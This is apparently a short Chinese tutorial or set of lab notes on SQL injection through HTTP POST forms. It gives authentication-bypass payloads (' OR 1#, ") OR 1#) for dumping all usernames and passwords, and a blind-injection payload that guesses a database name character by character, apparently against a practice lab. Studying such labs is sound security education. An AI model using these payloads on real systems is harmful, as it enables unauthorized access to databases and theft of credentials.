POST是HTTP/1.1协议中的一种资源请求方法。其向指定资源提交数据,请求服务器进行处理(例如提交表单或者上传文件)。数据被包含在请求本文中。这个请求可能会创建新的资源或修改现有资源,或二者皆有。
在很大一部分的表单都是通过POST方式发送到处理页面的。
显错注入
关键代码为:
构造语句来显示所有的用户名和密码
’OR 1#
关键代码为:
正常輸入因為數據庫里沒有所以查不到任何數據,而要查看到所有數據就需要使條件變為true
构造语句来显示所有的用户名和密码
")OR 1#
盲注
关键代码为:
构造语句来猜出当前数据库的名称
1' OR (ascii(substr((select database()) ,1,1)) = 115)#
只能手动猜,可以配合<>来设定范围,数据库名称为security
Post跟GET其實注入的代碼都差不多,之後的細節就不作描述了,有興趣可以參考我之前的文章